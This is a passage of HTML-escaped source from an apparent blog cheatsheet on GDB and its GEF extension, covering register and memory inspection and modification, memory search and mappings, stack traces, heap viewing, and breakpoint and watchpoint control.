x/20i 0x5555555dddd0&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;registers&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#registers&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Registers&lt;/h2&gt;
&lt;h3 id=&quot;view-registers&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#view-registers&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; View Registers&lt;/h3&gt;
&lt;p&gt;Show individual registers.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;print &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;expression&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

print &lt;span class=&quot;token variable&quot;&gt;$rax&lt;/span&gt;
p &lt;span class=&quot;token variable&quot;&gt;$rax&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Expressions are evaluated.&lt;/span&gt;
p &lt;span class=&quot;token variable&quot;&gt;$rbx&lt;/span&gt;+&lt;span class=&quot;token variable&quot;&gt;$rcx&lt;/span&gt;*4&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Show all registers.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;info registers
info r
registers &lt;span class=&quot;token comment&quot;&gt;# (GEF)&lt;/span&gt;
reg       &lt;span class=&quot;token comment&quot;&gt;# (GEF)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;modify-registers&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#modify-registers&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Modify Registers&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$eax&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; 0xdeadbeef&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;watch-registers&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#watch-registers&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Watch Registers&lt;/h3&gt;
&lt;p&gt;See &lt;a href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#watchpoints&quot;&gt;Watchpoints&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;memory&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#memory&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Memory&lt;/h2&gt;
&lt;p&gt;Memory is a core component of binaries. Many hidden secrets lurk inside the shadows of memory.&lt;/p&gt;
&lt;h3 id=&quot;view-memory&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#view-memory&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; View Memory&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;x/&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;n&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;sz&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;fmt&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;addr&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# n: Number of data to print.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# sz: b(byte), h(halfword), w(word), g(giant, 8 bytes)&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# fmt: Format to print data.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# - o(octal), x(hex), d(decimal), u(unsigned decimal),&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# - z(hex, zero padded on the left)&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# - t(binary), f(float), c(char), s(string)&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# - a(address), i(instruction),&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 20 words.&lt;/span&gt;
x/20wx 0x7fffffffd000

&lt;span class=&quot;token comment&quot;&gt;# 20 bytes.&lt;/span&gt;
x/20bx 0x7fffffffd000

&lt;span class=&quot;token comment&quot;&gt;# View as string.&lt;/span&gt;
x/s 0x7fffffffd000&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;modify-memory&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#modify-memory&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Modify Memory&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;c-type&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;address&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;value&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# For self-compiled sources.&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; var i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;int&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;0x83040 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;You can also modify memory at a pointer location by casting to an appropriate type and dereferencing.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;## C++&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; *&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;uint32_t*&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;0x7fffffffd000 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; 0xdeadbeef
&lt;span class=&quot;token comment&quot;&gt;## Rust&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; *&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;0x7fffffffd000 as *const u32&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; 0xdeadbeef&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;search-memory&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#search-memory&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Search Memory&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token function&quot;&gt;find&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;start&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;, &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;end&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;, &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;find&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;start&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;, +&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;length&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;, &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Find string (including null byte).&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;find&lt;/span&gt; 0x7fffffffd000, 0x7ffffffff000, &lt;span class=&quot;token string&quot;&gt;&quot;Hello world!&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Find string (excluding null byte).&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;find&lt;/span&gt; 0x7fffffffd000, 0x7ffffffff000, &lt;span class=&quot;token string&quot;&gt;&#39;H&#39;&lt;/span&gt;,&lt;span class=&quot;token string&quot;&gt;&#39;e&#39;&lt;/span&gt;,&lt;span class=&quot;token string&quot;&gt;&#39;l&#39;&lt;/span&gt;,&lt;span class=&quot;token string&quot;&gt;&#39;l&#39;&lt;/span&gt;,&lt;span class=&quot;token string&quot;&gt;&#39;o&#39;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;More options.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token function&quot;&gt;find&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;/sn&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.
&lt;span class=&quot;token comment&quot;&gt;# s: b(byte), h(halfword), w(word), g(giant, 8 bytes)&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# n: max number of finds&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Combine with &lt;a href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#view-memory-segments&quot;&gt;Memory Mapping&lt;/a&gt; to determine available regions.&lt;/p&gt;
&lt;h3 id=&quot;watch-memory&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#watch-memory&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Watch Memory&lt;/h3&gt;
&lt;p&gt;See &lt;a href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#watchpoints&quot;&gt;Watchpoints&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;view-memory-segments&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#view-memory-segments&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; View Memory Segments&lt;/h3&gt;
&lt;p&gt;Useful to determine which areas are readable/writeable/executable.&lt;/p&gt;
&lt;p&gt;Requires program to be running beforehand.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;info proc mappings
vmmap &lt;span class=&quot;token comment&quot;&gt;# (GEF)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;stack&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#stack&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Stack&lt;/h2&gt;
&lt;h3 id=&quot;view-stack&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#view-stack&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; View Stack&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# View 100 words (hex) at $rsp.&lt;/span&gt;
x/100wx &lt;span class=&quot;token variable&quot;&gt;$rsp&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;See also: &lt;a href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#view-memory&quot;&gt;View Memory&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Stack Frame&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;info frame&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Stack Trace&lt;/strong&gt;&lt;br /&gt;
Show a trace of previous stack frames.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;backtrace
bt&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;heap&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#heap&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Heap&lt;/h2&gt;
&lt;p&gt;GEF only.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;heap

&lt;span class=&quot;token comment&quot;&gt;# View all chunks.&lt;/span&gt;
heap chunks

&lt;span class=&quot;token comment&quot;&gt;# View specific chunks.&lt;/span&gt;
heap chunk &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;addr&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# View state of bins (freed chunks).&lt;/span&gt;
heap bins&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;breakpoints&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#breakpoints&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Breakpoints&lt;/h2&gt;
&lt;p&gt;Breaks when address reaches an instruction.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt; *&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;address&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;line-number &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; label&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# For self-compiled programs.&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;stuff&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;expression&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Address.&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt; *0x401234
b *0x401234

&lt;span class=&quot;token comment&quot;&gt;# Offset from function.&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt; *main+200

&lt;span class=&quot;token comment&quot;&gt;# Line number and expression.&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt; main.c:6 &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Further Reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/14390256/10239789&quot;&gt;SO: GDB – Break if variable equal value&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;breakpoint-control&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#breakpoint-control&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Breakpoint Control&lt;/h3&gt;
&lt;p&gt;Sometimes we only want to enable or disable certain breakpoints. These commands come handy then. They also apply to watchpoints.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Get Breakpoint Info&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;info breakpoints
info b&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Control Breakpoints&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Enable/disable all breakpoints.&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;enable&lt;/span&gt;
disable

&lt;span class=&quot;token comment&quot;&gt;# Enable/disable specific breakpoints.&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;enable&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;breakpoint-id&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
disable &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;breakpoint-id&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Remove breakpoints.&lt;/span&gt;
delete &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;breakpoint-id&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Skip &lt;code&gt;n&lt;/code&gt; Breakpoints&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;continue&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;ignore-count&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Skip 32 breaks.&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;continue&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;32&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Hit Breakpoint Once&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Enable the breakpoint once.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# The breakpoint will be disabled after first hit.&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;enable&lt;/span&gt; once &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;breakpoint-id&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;watchpoints&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#watchpoints&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Watchpoints&lt;/h3&gt;
&lt;p&gt;Breaks when data changes. More specifically, whenever the &lt;em&gt;value of an expression&lt;/em&gt; changes, a break occurs.&lt;/p&gt;
&lt;p&gt;This includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;when an address is &lt;strong&gt;written&lt;/strong&gt; to. (&lt;code&gt;watch&lt;/code&gt;, &lt;code&gt;awatch&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;when an address is &lt;strong&gt;read&lt;/strong&gt; from. (&lt;code&gt;rwatch&lt;/code&gt;, &lt;code&gt;awatch&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;when an expression evaluates to a given value. (&lt;code&gt;watch&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token function&quot;&gt;watch&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;expression&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Break on write.&lt;/span&gt;
